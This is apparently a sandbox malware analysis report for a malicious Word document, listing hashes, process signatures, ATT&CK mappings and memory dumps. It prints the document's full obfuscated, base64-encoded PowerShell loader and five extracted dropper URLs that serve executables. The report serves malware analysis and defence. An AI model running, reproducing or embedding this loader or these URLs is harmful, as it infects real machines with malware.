e48d84f3821901ac175931583751b6dc89592aaf1ea9896d95adb131652bedcc

General

Target

621f61036b3455c2f208244d427a0a1aJaffaCakes118.doc
Size

259KB
MD5

621f61036b3455c2f208244d427a0a1a
SHA1

97a90cfcc9f8d1a268ae29c0fac7247798f68558
SHA256

e48d84f3821901ac175931583751b6dc89592aaf1ea9896d95adb131652bedcc
SHA512

27bd362a6938380823efd3c5608fe4d7be553fc363b7a367a428a0c96ec65c050c488cb419ee3d3a17429004be52b0eefdad5c306f3e8a683dbd8f50267c0c2b
SSDEEP

3072:8H9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5nyXJm9YBmjDM2lNdsiGCT:8FVeEsjdXRC3jexGG6MYWof5dsiGCT

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.gurutransfer.com/cGQPt/

exe.dropper

http://www.prava-traktorista.ru/Pny/

exe.dropper

http://www.noobingame.tk/rP2E/

exe.dropper

http://www.frigolutasima.net/m/

exe.dropper

http://www.batikcar.com/GDW/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3016	1064	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

24 3016 powershell.exe
28 3016 powershell.exe

flow	pid	process
24	3016	powershell.exe
28	3016	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1064 WINWORD.EXE
1064 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3016 powershell.exe
3016 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3016 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

1064 WINWORD.EXE
1064 WINWORD.EXE
1064 WINWORD.EXE
1064 WINWORD.EXE
1064 WINWORD.EXE
1064 WINWORD.EXE
1064 WINWORD.EXE
1064 WINWORD.EXE

pid	process
1064	WINWORD.EXE
1064	WINWORD.EXE

pid	process
3016	powershell.exe
3016	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3016	powershell.exe

pid	process
1064	WINWORD.EXE
1064	WINWORD.EXE
1064	WINWORD.EXE
1064	WINWORD.EXE
1064	WINWORD.EXE
1064	WINWORD.EXE
1064	WINWORD.EXE
1064	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1064 wrote to memory of 3016	1064	WINWORD.EXE	powershell.exe
PID 1064 wrote to memory of 3016	1064	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\621f61036b3455c2f208244d427a0a1aJaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell & ( $sHellid[1]+$SHeLLId[13]+'x') (New-objECT SYsTEm.iO.STreaMrEADEr((New-objECT iO.COMPRessIon.deFLaTesTREAM( [io.MEMORyStREaM] [COnveRt]::FRoMBAsE64StrInG( 'VZBNa8JAEIb/Sg4Lq1h3S6FQXAJCbbUHS4pQL71MthOz+dgNk4mpFf97o17qdZ6Hl/cdsX5zscd+GtICLUfvyGqL6XPl0LMR2Wcey5y5mWnd973addQxgW8zJGVDre3yI2E9/6c0BHuYDlLJgVzLoKjTiT/cSD6E1Pkd1Ki41JQ8vNzgjNwuVB1D62pQHlnXNzwFdqWFa4XlYqul2jSV45Gcy7ER6xVFcSSfHu+lEaviNxbo9zPGupnILzk584lU+IPSZIEQbD4ShdtEzkfnxeMj0+Eohs+oReh9FeD71VV4ce6ic+DYbBiIpwkFi217uZl0SCrNyQLb/Hg6/QE='), [sYSTEM.iO.CoMprESSiON.ComPResSIoNMoDe]::DeCoMPresS)) ,[TeXT.EncODing]::aSCIi) ).reADToeND()
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3016

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y1hoytwp.puc.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl
Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
memory/1064-17-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-567-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-0-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-5-0x00007FFBEBF8D000-0x00007FFBEBF8E000-memory.dmp

Filesize
4KB

Download
memory/1064-6-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-7-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-8-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-9-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-4-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-12-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-14-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-13-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-16-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-20-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-22-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-21-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-19-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-18-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-10-0x00007FFBA9770000-0x00007FFBA9780000-memory.dmp

Filesize
64KB

Download
memory/1064-1-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-568-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-36-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-38-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-39-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-15-0x00007FFBA9770000-0x00007FFBA9780000-memory.dmp

Filesize
64KB

Download
memory/1064-11-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-2-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-59-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-150-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-3-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-538-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-539-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/1064-566-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-565-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/1064-564-0x00007FFBABF70000-0x00007FFBABF80000-memory.dmp

Filesize
64KB

Download
memory/3016-542-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/3016-40-0x00007FFBEBEF0000-0x00007FFBEC0E5000-memory.dmp

Filesize
2.0MB

Download
memory/3016-41-0x0000011F7AF70000-0x0000011F7AF92000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads